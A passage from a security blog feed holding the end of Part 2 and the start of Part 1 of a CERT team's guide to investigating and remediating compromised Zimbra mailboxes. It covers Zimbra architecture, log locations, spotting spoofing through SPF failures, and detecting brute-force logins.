<li>Ensure that phishing-related files are no longer present on the workstation</li>
</ul>
</li>
<li><strong>Strengthen user awareness</strong>: Communication about ongoing phishing campaigns should be sent to users to prevent further compromise. Regular phishing awareness campaigns are strongly recommended, particularly for users who have already been compromised.</li>
<li><strong>Implement multi-factor authentication (MFA) for Zimbra mail access</strong>: Deploying a second authentication factor is highly recommended to secure mailbox access. While MFA can be perceived as inconvenient, using a Single Sign-On (SSO) with unified MFA can reduce friction while strengthening overall authentication security.</li>
<li><strong>Deploy a specialized phishing detection and filtering solution</strong>: It is recommended to install a specialized solution in detecting malicious activity in email environments. The solution should be able to identify:
<ul>
<li>Logins from unusual IP addresses</li>
<li>Brute-force attempts on user accounts</li>
<li>Mass email sending to numerous recipients</li>
<li>Use of suspicious attachments or links to untrusted domains</li>
<li>Active phishing campaigns (e.g., identified by a CTI service)</li>
</ul>
</li>
<li><strong>Ensure Zimbra log retention</strong>: It is important to secure the collection and retention of logs. It is recommended to centralize logs from the entire Zimbra infrastructure on a server external to that infrastructure. This ensures that even in the event of compromise, modification, or encryption of Zimbra servers, logs remain intact and accessible, allowing reliable forensic investigations.</li>
</ul>
<p style="text-align: justify;">Although non-exhaustive, these remediation measures will help <strong>restore confidence</strong> in your Zimbra infrastructure and user accounts. <strong>Continuous monitoring</strong> and <strong>improvement</strong> <strong>of</strong> <strong>the</strong> <strong>security</strong> <strong>posture</strong> will, however, be necessary to adapt to <strong>future</strong> <strong>threats</strong>.</p>
<h1 style="text-align: justify;"> </h1>
<p style="text-align: justify;">At the end of this little investigation, one thing is certain: while the attacker can choose the easiest path, the forensic analyst doesn’t have that luxury. Between <strong>scattered</strong> (or sometimes <strong>missing</strong>) <strong>logs</strong>, <strong>conflicting</strong> <strong>user</strong> <strong>testimonials</strong>, and <strong>limited</strong> <strong>visibility</strong> into certain Zimbra events, conducting an investigation can sometimes feel <strong>like solving a Rubik’s Cube</strong>… <strong>in the dark</strong>… <strong>with mittens on</strong>.</p>
<p style="text-align: justify;">But with a <strong>solid methodology</strong> and a <strong>few good habits</strong>, Zimbra can reveal far more information than it might seem at first glance. Its logs are a <strong>real goldmine</strong>, provided you <strong>don’t get lost in them</strong>.</p>
<p style="text-align: justify;">Ultimately, this article does not aim to turn every reader into a J<strong>edi master of Zimbra forensics</strong>… but if it can save you two days of trying to <strong>decode Zimbra logs</strong> or <strong>hunt down the useful information</strong>, then the goal has been achieved!</p>
<p style="text-align: justify;">And as is often said, in cybersecurity as elsewhere, <strong>prevention is better than cure</strong>. So harden your Zimbra infrastructure, back up your logs, raise user awareness… and above all, don&#8217;t be short on coffee supplies!</p>
<p> </p>
<h1>Sources</h1>
<ul>
<li><span style="color: #000080;"><a style="color: #000080;" href="https://wiki.zimbra.com/wiki/Log_Files">https://wiki.zimbra.com/wiki/Log_Files</a></span></li>
<li><span style="color: #000080;"><a style="color: #000080;" href="https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview">https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview</a></span></li>
<li><span style="color: #000080;"><a style="color: #000080;" href="https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes">https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes</a></span></li>
</ul>
<p> </p>


<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/zimbra-mailbox-compromise-from-analysis-to-remediation-part-2/">Zimbra Mailbox Compromise: From Analysis to Remediation (Part 2)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2026/01/zimbra-mailbox-compromise-from-analysis-to-remediation-part-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Zimbra Mailbox Compromise: From Analysis to Remediation (Part 1)</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/12/zimbra-mailbox-compromise-from-analysis-to-remediation/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/12/zimbra-mailbox-compromise-from-analysis-to-remediation/#respond</comments>
		
		<dc:creator><![CDATA[Evenson Jeunesse]]></dc:creator>
		<pubDate>Thu, 18 Dec 2025 09:07:27 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[CERT-W]]></category>
		<category><![CDATA[Compromission]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[Incident response]]></category>
		<category><![CDATA[incident response CERT-W]]></category>
		<category><![CDATA[investigation]]></category>
		<category><![CDATA[SPF]]></category>
		<category><![CDATA[spoofing]]></category>
		<category><![CDATA[Zimbra]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28540</guid>

					<description><![CDATA[<p>The simplest attacks are often the most effective. In most companies, webmail access portals are exposed on the internet and do not always benefit from sufficient access-control mechanisms. In addition, some messaging services offer extended features that go beyond simple...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/12/zimbra-mailbox-compromise-from-analysis-to-remediation/">Zimbra Mailbox Compromise: From Analysis to Remediation (Part 1)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">The <strong>simplest</strong> attacks are often the <strong>most effective</strong>.</p>
<p style="text-align: justify;">In most companies, <strong>webmail access portals</strong> are <strong>exposed on the internet</strong> and do not always benefit from <strong>sufficient access-control mechanisms</strong>. In addition, some messaging services offer extended features that go beyond simple email consultation, such as <strong>file sharing</strong> or access to <strong>collaborative applications</strong>.</p>
<p style="text-align: justify;"><strong>Poorly secured messaging services</strong> therefore represent <strong>prime targets for attackers</strong>. Compromising a mailbox can then be used to launch phishing campaigns, <strong>access sensitive data</strong>, carry out <strong>fraud attempts</strong>, or even gain <strong>access to other services</strong>.</p>
<p style="text-align: justify;">At <strong>CERT-W</strong>, we regularly deal with this type of compromise. In particular, several of our investigations in 2025 involved the <strong>compromise of Zimbra email accounts</strong>, a solution used by many public and private organizations. Faced with these incidents, we noticed a clear <strong>lack of forensic documentation</strong> specific to Zimbra infrastructures.</p>
<p style="text-align: justify;">This article is therefore our modest contribution to filling this gap. We share a <strong>pragmatic</strong> approach and a <strong>few tips</strong> to help you save time when analyzing this type of environment, as well as some remediation measures.</p>
<p> </p>
<h2>The Zimbra Infrastructure</h2>
<p style="text-align: justify;">If you’re not familiar with Zimbra infrastructures, don’t worry: <strong>this section is for you</strong>! For the more experienced readers, feel free to jump straight to the investigation section (<em>we won’t hold it against you</em>).</p>
<h3>The architecture</h3>
<p style="text-align: justify;">Zimbra isn’t just &#8220;<em>another mail server</em>&#8220;. It’s a complete <strong>open-source collaborative suite</strong> that brings together several useful components<strong>:</strong></p>
<ul style="text-align: justify;">
<li><strong>A mail server:</strong> the core of the system.</li>
<li><strong>A calendar, contacts, and task manager:</strong> so you never forget that 9 AM meeting.</li>
<li><strong>A web client:</strong> accessible from any browser.</li>
<li><strong>Additional services:</strong> antispam, antivirus, mobile synchronization, and more.</li>
</ul>
<p style="text-align: justify;">But like any infrastructure used by hundreds (or even thousands) of users simultaneously, sizing and performance quickly become important topics. That’s why Zimbra can be deployed in two different ways:</p>
<ul style="text-align: justify;">
<li><strong>Monolithic mode:</strong> everything on a single server (simple and effective… up to a point).</li>
<li><strong>Distributed mode:</strong> multiple servers, each with a specific role, to better handle load, availability, and maintenance.</li>
</ul>
<p style="text-align: justify;">In simplified form, a distributed Zimbra infrastructure looks like this<strong>:</strong></p>



<figure id="attachment_28574" aria-describedby="caption-attachment-28574" style="width: 1196px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28574" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-EN.png" alt="Architecture of a Distributed Zimbra Infrastructure" width="1196" height="669" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-EN.png 1196w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-EN-341x191.png 341w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-EN-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Architecture-zimbra-EN-768x430.png 768w" sizes="auto, (max-width: 1196px) 100vw, 1196px" /><figcaption id="caption-attachment-28574" class="wp-caption-text"><em>Architecture of a Distributed Zimbra Infrastructure</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Although the architecture may vary, the following components are usually present:</p>
<ul style="text-align: justify;">
<li><strong>Proxy Server:</strong> the entry point for Web, IMAP/POP, and ActiveSync clients. Logs generated at this level provide visibility into user connections (IP addresses, user agents, timestamps, etc.).</li>
<li><strong>Web Client Server (Mailboxd UI):</strong> hosts the Webmail interface used by users to access their mailbox through a browser.</li>
<li><strong>Mailbox Server (Mailboxd):</strong> hosts user mailboxes and manages messages, folders, and calendars. This component generates the richest logs (e.g., <em>mailbox.log</em>, <em>audit.log</em>, <em>sync.log</em>).</li>
<li><strong>MTA Server (Message Transfer Agent):</strong> receives emails via SMTP and delivers them to the appropriate Zimbra mailbox server using the LMTP (Local Mail Transfer Protocol).</li>
</ul>
<p style="text-align: justify;">The Zimbra MTA relies on several complementary services:</p>
<ul style="text-align: justify;">
<li><strong>Postfix MTA:</strong> handles message routing, relaying, and filtering (including attachments).</li>
<li><strong>ClamAV:</strong> antivirus engine responsible for scanning messages and attachments.</li>
<li><strong>SpamAssassin and DSPAM:</strong> spam filters that use various mechanisms to identify unwanted emails.</li>
<li><strong>Amavis:</strong> the orchestrator that runs the configured antivirus and antispam engines, then applies processing policies to incoming messages.</li>
</ul>
<p style="text-align: justify;">The <strong>MTA server</strong> plays a key role in the Zimbra infrastructure. This is where <strong>most of the security checks</strong> applied to <strong>incoming emails</strong> are performed. The diagram below illustrates the main stages of this analysis workflow:</p>
<figure id="attachment_28578" aria-describedby="caption-attachment-28578" style="width: 1448px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28578" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-EN.png" alt="Zimbra incoming email analysis process" width="1448" height="596" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-EN.png 1448w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-EN-437x180.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-EN-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/Zimbra-MTA-scans-EN-768x316.png 768w" sizes="auto, (max-width: 1448px) 100vw, 1448px" /><figcaption id="caption-attachment-28578" class="wp-caption-text"><em>Zimbra incoming email analysis process</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">In the process of receiving an incoming email, the message is first handled by <strong>Postfix</strong>, which then forwards it to <strong>Amavis</strong> for analysis. <strong>Amavis</strong> invokes the <strong>various configured analysis engines</strong> and submits the email to each of them to collect their results. Based on the defined policies, Amavis returns a verdict to Postfix: deliver the message, block it, or move it to a specific folder.</p>
<p> </p>
<h3>Zimbra logs</h3>
<p style="text-align: justify;">Now that you’re practically a Zimbra architecture expert (or almost <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" />), you’ve probably noticed that <strong>many services</strong> are required to handle users’ email <strong>sending</strong> and <strong>receiving</strong>. The good news is that <strong>each of these services generates its own logs</strong>, providing significant <strong>visibility</strong> into the activity of the mail infrastructure. And for us forensic analysts, that’s excellent news: <strong>we love logs</strong>!</p>
<p style="text-align: justify;">Studying the logs generated by Zimbra allows us to <strong>reconstruct the timeline of a compromise</strong>, identify compromised mailboxes, spot malicious attachments, and even detect potential internal relays.</p>
<p style="text-align: justify;">This <strong>wealth of information</strong> is made possible thanks to logs, which are mainly located in:</p>
<ul style="text-align: justify;">
<li><strong>/opt/zimbra/log/mailbox.log:</strong> main log of user activities (authentications, sending/receiving emails, managing mails, folders, contacts, calendars, etc.).</li>
<li><strong>/opt/zimbra/log/access_log:</strong> Webmail access log (IP addresses, user agents, visited URLs).</li>
<li><strong>/opt/zimbra/log/audit.log:</strong> authentication traces (successes, failures, mechanisms used).</li>
<li><strong>/opt/zimbra/log/sync.log:</strong> mobile synchronization traces (ActiveSync/EAS).</li>
<li><strong>/opt/zimbra/log/convertd.log:</strong> file conversion traces (Webmail previews, indexing).</li>
<li><strong>/opt/zimbra/log/clamd.log | /opt/zimbra/log/freshclam.log:</strong> ClamAV antivirus activity.</li>
<li><strong>/opt/zimbra/log/spamtrain.log:</strong> traces of user-initiated antispam training.</li>
<li><strong>/opt/zimbra/log/cbpolicyd.log:</strong> Postfix policy enforcement (quotas, anti-relay, restrictions).</li>
<li><strong>/var/log/mail.log:</strong> system Postfix logs (SMTP, LMTP, Amavis).</li>
<li><strong>/var/log/nginx.access.log | /var/log/nginx.log:</strong> Nginx web server logs (useful for contextualizing web sessions).</li>
</ul>
<p style="text-align: justify;">Unfortunately, in a <strong>distributed Zimbra architecture</strong>, logs are <strong>not centralized</strong>. In other words, to get a complete picture of an incident, an analyst often needs to <strong>collect logs from each node</strong>: proxy, mailstore, MTA, or any other peripheral server. Yes, it requires a bit of gymnastics (<em>and patience</em>).</p>
<p style="text-align: justify;">As we mentioned, the wealth of Zimbra logs is a real <strong>goldmine</strong> for investigations… but, like any mine, you need to <strong>dig methodically</strong>, or you’ll quickly find yourself buried under tons of log lines. Some effort in <strong>sorting</strong> and <strong>correlating</strong> data is therefore necessary to <strong>extract relevant information</strong>.</p>
<p style="text-align: justify;">And despite their undeniable usefulness, Zimbra logs have some <strong>notable limitations</strong>:</p>
<ul>
<li style="text-align: justify;"><strong>No access to the full content of emails</strong> or their attachments.</li>
<li style="text-align: justify;"><strong>Email subjects are rarely available</strong>, except when intercepted by antispam or antivirus modules.</li>
<li style="text-align: justify;"><strong>No native visibility into the creation of forwarding rules</strong>.</li>
<li style="text-align: justify;"><strong>Rapid rotation of verbose logs</strong> (like <em>log</em>), which limits the analysis time window if logs are not centralized.</li>
</ul>
<p> </p>
<h2>Investigating in a Zimbra Environment</h2>
<p style="text-align: justify;">Now that Zimbra’s infrastructure and logs <strong>hold no secrets for you</strong>, it’s time to get <strong>practical</strong>.</p>
<p style="text-align: justify;">Imagine you’re a forensic analyst, arriving early one morning, when suddenly: <strong>the phone rings.</strong> You’re being called because several users are reporting that emails, <strong>they didn’t send</strong> are appearing in their “Sent” folder.</p>
<p style="text-align: justify;"><strong>Panic ensues</strong>! Users are afraid to log into their mailboxes, and some administrators start wondering whether the <strong>Zimbra infrastructure itself</strong> might be <strong>compromised</strong>.</p>
<p style="text-align: justify;">Since you know Zimbra inside out, the team naturally turns to you to <strong>investigate this incident</strong>!</p>
<p style="text-align: justify;">As a forensic analyst, many questions come to mind:</p>
<ul style="text-align: justify;">
<li><em>Have the accounts really been compromised? If so, how and since when?</em></li>
<li><em>How many users are affected?</em></li>
<li><em>What is the attacker’s objective, and what malicious actions have been carried out from these accounts?</em></li>
<li><em>Have the mail server or other Zimbra components been compromised?</em></li>
<li><em>And, most importantly: do I have time for a coffee </em><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2615.png" alt="☕" class="wp-smiley" style="height: 1em; max-height: 1em;" /><em> before the information hunt begins?</em></li>
</ul>
<p style="text-align: justify;">To help you in your investigation, we’ll look at how to answer these questions through Zimbra log analysis. But first, here are some tips to guide your investigation.</p>
<p style="text-align: justify;">During incident response, it’s easy to feel <strong>overwhelmed</strong> by the <strong>amount of logs</strong> <strong>and</strong> <strong>events</strong> <strong>to analyze</strong>. Keeping a clear line of reasoning is essential. A few simple practices can help maintain focus:</p>
<ul style="text-align: justify;">
<li><strong>Confirm:</strong> Verify the information that triggered the incident. Before diving deeper, ensure the initial alert is accurate. This undeniable baseline will serve as the foundation for the entire investigation.</li>
<li><strong>Correlate:</strong> Cross-check suspicious IP addresses and domains with other sources (proxy, VPN, EDR, online antivirus databases). This provides additional context related to the identified indicator.</li>
<li><strong>Pivot:</strong> Use the collected information to expand your analysis. An attacker might reuse the same IP address or user-agent across multiple accounts. Conversely, a compromised account might be accessed from different IP addresses or user-agents. Pivoting can reveal other indicators that help identify the attacker.</li>
<li><strong>Compare patterns:</strong> Even without direct access to email content or attachments, certain elements can reveal similarities (file size, identical filenames, repeated sequences of actions after account compromise). This behavioral analysis approach can help identify multiple users compromised by the same attacker. Such hypotheses should be formulated and handled cautiously, but they can be valuable for confirming intuition.</li>
<li><strong>Ensure log preservation:</strong> This may seem obvious, but as soon as an incident is detected, securing the logs is critical. Collect logs immediately from the entire Zimbra infrastructure and extend their retention period to prevent automatic deletion. Because let’s be honest: logs disappearing just as the forensic team arrives is a way too common scenario… one you definitely want to avoid.</li>
</ul>
<p style="text-align: justify;">While these tips <strong>aren’t exhaustive</strong>, they provide a solid foundation for conducting an analysis that is both <strong>fast</strong> and <strong>efficient</strong>.</p>
<p> </p>
<h3>Compromise and initial access</h3>
<h4><em>The spoofing trap</em></h4>
<p style="text-align: justify;"><strong>You are not fooled</strong>! You know that sometimes one might believe the attacker is already inside the system, when in reality, they are still outside (fake it until you make it). Especially when multiple users start reporting concerning incidents, such as:</p>
<ul style="text-align: justify;">
<li>&#8220;<em>I received an email from so-and-so, yet they claim they never sent it.</em>&#8220;</li>
<li>&#8220;<em>I received an email from my own address, which makes no sense!</em>&#8220;</li>
</ul>
<p style="text-align: justify;">But your experience pushes you to verify that the current confusion is not simply the result of… a <strong>spoofing attack</strong>.</p>
<p style="text-align: justify;">Indeed, <strong>spoofing</strong> is a relatively simple identity impersonation attack used by malicious actors to <strong>falsify email header information</strong> (e.g. sender address) in order to <strong>deceive a victim</strong>. Spoofing allows an email to be sent while pretending to be from a <strong>legitimate sender</strong> (for example, an internal user of the company or the recipient themselves), when in reality the email comes from an infrastructure that has <strong>no authorization</strong> <strong>to use that email address</strong>.</p>
<p style="text-align: justify;">The goal is to <strong>gain the recipient’s trust</strong> to prompt them to <strong>take an action</strong> (click a link, open an attachment, provide credentials, etc.) or bypass<strong> filtering mechanisms</strong>.</p>
<p style="text-align: justify;">Mechanisms such as <strong>SPF</strong>, <strong>DKIM</strong>, and <strong>DMARC</strong> were designed to reduce the risks associated with spoofing by allowing verification of the sender domain and server authenticity.</p>
<p style="text-align: justify;">More specifically, the <strong>Sender Policy Framework (SPF)</strong> is an email security mechanism that allows verification that the sending server of a message is indeed authorized to send emails on behalf of the domain indicated in the sender’s address. The steps of an SPF check are illustrated below:</p>
<figure id="attachment_28576" aria-describedby="caption-attachment-28576" style="width: 1143px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28576" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-EN.png" alt="Steps involved in an SPF check" width="1143" height="478" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-EN.png 1143w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-EN-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-EN-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/SPF-check-Zimbra-EN-768x321.png 768w" sizes="auto, (max-width: 1143px) 100vw, 1143px" /><figcaption id="caption-attachment-28576" class="wp-caption-text"><em>Steps involved in an SPF check</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Concretely, the domain owner publishes in the DNS records a li<strong>st of IP addresses authorized to send emails</strong> on behalf of their domain. When a mail server receives an email, it can <strong>compare the sender’s IP address</strong> to this list and determine whether the message is legitimate or potentially fraudulent.</p>
<p style="text-align: justify;">An <strong>SPF check failure</strong> indicates that the email was sent from a <strong>server not authorized</strong> by the sender’s domain. This serves as an indicator for identifying <strong>potential spoofing attempts</strong>.</p>
<p style="text-align: justify;">In Zimbra logs, <strong>SPF check failures</strong> can be identified using the following command:</p>
<figure id="attachment_28544" aria-describedby="caption-attachment-28544" style="width: 1682px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28544" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Retrieval-of-messages-that-failed-SPF-check-zimbra.log_.png" alt="Retrieval of messages that failed SPF check (zimbra.log)" width="1682" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Retrieval-of-messages-that-failed-SPF-check-zimbra.log_.png 1682w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Retrieval-of-messages-that-failed-SPF-check-zimbra.log_-437x87.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Retrieval-of-messages-that-failed-SPF-check-zimbra.log_-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Retrieval-of-messages-that-failed-SPF-check-zimbra.log_-768x152.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/1-Retrieval-of-messages-that-failed-SPF-check-zimbra.log_-1536x304.png 1536w" sizes="auto, (max-width: 1682px) 100vw, 1682px" /><figcaption id="caption-attachment-28544" class="wp-caption-text"><em>Retrieval of messages that failed SPF check (zimbra.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">In above example, we can see that the message sent from <strong>attacker@microsoft.com</strong> to <strong>user25@wavestone.corp</strong> <strong>does not pass SPF validation</strong> (SPF_FAIL). The &#8220;<em>Yes</em>&#8221; field indicates that it is classified as spam. Since its score (9.172) exceeds the required threshold (4), this message will therefore <strong>not be delivered</strong> to its recipient.</p>
<p style="text-align: justify;">However, you should not place blind trust in the antispam engine! Some emails that <strong>fail SPF checks may still be delivered</strong>. To extract only these messages, you can use the following command:</p>
<figure id="attachment_28546" aria-describedby="caption-attachment-28546" style="width: 1692px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28546" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Retrieval-of-messages-that-failed-SPF-check-and-were-delivered-zimbra.log_.png" alt="Retrieval of messages that failed SPF check and were delivered (zimbra.log)" width="1692" height="360" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Retrieval-of-messages-that-failed-SPF-check-and-were-delivered-zimbra.log_.png 1692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Retrieval-of-messages-that-failed-SPF-check-and-were-delivered-zimbra.log_-437x93.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Retrieval-of-messages-that-failed-SPF-check-and-were-delivered-zimbra.log_-71x15.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Retrieval-of-messages-that-failed-SPF-check-and-were-delivered-zimbra.log_-768x163.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/2-Retrieval-of-messages-that-failed-SPF-check-and-were-delivered-zimbra.log_-1536x327.png 1536w" sizes="auto, (max-width: 1692px) 100vw, 1692px" /><figcaption id="caption-attachment-28546" class="wp-caption-text"><em>Retrieval of messages that failed SPF check and were delivered (zimbra.log)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In the example below, the message <strong>fails the SPF check</strong>, but its score is negative (-2.06) and below the spam threshold (4). It is therefore considered <strong>legitimate</strong> and <strong>delivered to the recipient despite the SPF failure.</strong></p>
<p style="text-align: justify;">As you can see, Zimbra logs make it possible to quickly <strong>identify senders responsible for spoofing attacks</strong>. Detecting a <strong>spoofing case</strong> <strong>early</strong> in the investigation helps to quickly reduce concerns and restore a certain level of <strong>trust in the Zimbra infrastructure</strong>.</p>
<p style="text-align: justify;"> </p>
<h4><em>Analysis of the attacker&#8217;s initial access</em></h4>
<p style="text-align: justify;">Once you have confirmed that you are <strong>not dealing with a spoofing attack</strong>, it means the attacker has, in one way or another, succeeded in compromising an account or a component of the infrastructure. The first step of your investigation will be to <strong>identify the attacker’s initial point of entry</strong>. This means finding the answers to the questions “Where?”, “When?”, and “How?”. But when it comes to compromising a mailbox, several approaches are possible…<br /><br /></p>
<p><span style="text-decoration: underline;"><em><strong>Account compromise through password brute‑forcing</strong></em></span></p>
<p style="text-align: justify;">One path you can explore is the possibility that the attacker attempted to compromise certain accounts through a <strong>brute‑force attack</strong>.</p>
<p style="text-align: justify;">To do this, simply examine authentication failures in the Zimbra logs<strong>:</strong></p>
<figure id="attachment_28548" aria-describedby="caption-attachment-28548" style="width: 1693px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28548" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Retrieval-of-connection-failures-mail.log_.png" alt="Retrieval of connection failures (mail.log)" width="1693" height="229" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Retrieval-of-connection-failures-mail.log_.png 1693w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Retrieval-of-connection-failures-mail.log_-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Retrieval-of-connection-failures-mail.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Retrieval-of-connection-failures-mail.log_-768x104.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/3-Retrieval-of-connection-failures-mail.log_-1536x208.png 1536w" sizes="auto, (max-width: 1693px) 100vw, 1693px" /><figcaption id="caption-attachment-28548" class="wp-caption-text"><em>Retrieval of connection failures (mail.log)</em></figcaption></figure>
<figure id="attachment_28550" aria-describedby="caption-attachment-28550" style="width: 1690px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28550" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Retrieval-of-connection-failures-audit.log_.png" alt="Retrieval of connection failures (audit.log)" width="1690" height="384" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Retrieval-of-connection-failures-audit.log_.png 1690w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Retrieval-of-connection-failures-audit.log_-437x99.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Retrieval-of-connection-failures-audit.log_-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Retrieval-of-connection-failures-audit.log_-768x175.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/4-Retrieval-of-connection-failures-audit.log_-1536x349.png 1536w" sizes="auto, (max-width: 1690px) 100vw, 1690px" /><figcaption id="caption-attachment-28550" class="wp-caption-text"><em>Retrieval of connection failures (audit.log)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In the events above, we can see <strong>authentication attempts</strong> coming from the IP address <strong>100.100.4.111 </strong>that failed for the account <strong>user25@wavestone.corp</strong>.</p>
<p style="text-align: justify;">A <strong>large number of unsuccessful login</strong> <strong>attempts</strong> over a <strong>short period</strong>, from the <strong>same IP address</strong> or targeting the <strong>same account</strong>, is indicative of a <strong>brute‑force attempt</strong>.</p>
<p style="text-align: justify;">An excessive number of authentication failures can also <strong>trigger automatic</strong> <strong>account lockout</strong> by Zimbra:</p>
<figure id="attachment_28552" aria-describedby="caption-attachment-28552" style="width: 1692px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28552" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Retrieval-of-account-lockout-events-mail.log_.png" alt="Retrieval of account lockout events (mail.log)" width="1692" height="180" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Retrieval-of-account-lockout-events-mail.log_.png 1692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Retrieval-of-account-lockout-events-mail.log_-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Retrieval-of-account-lockout-events-mail.log_-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Retrieval-of-account-lockout-events-mail.log_-768x82.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/5-Retrieval-of-account-lockout-events-mail.log_-1536x163.png 1536w" sizes="auto, (max-width: 1692px) 100vw, 1692px" /><figcaption id="caption-attachment-28552" class="wp-caption-text"><em>Retrieval of account lockout events (mail.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">From a forensic perspective, the appearance of such an event in the logs may suggest that an account was <strong>potentially targeted</strong>.</p>
<p style="text-align: justify;">Once the brute‑force attempt has been identified, it is possible to check when the attacker may have used the compromised account by analyzing the <strong>successful logins</strong> associated with that user:</p>
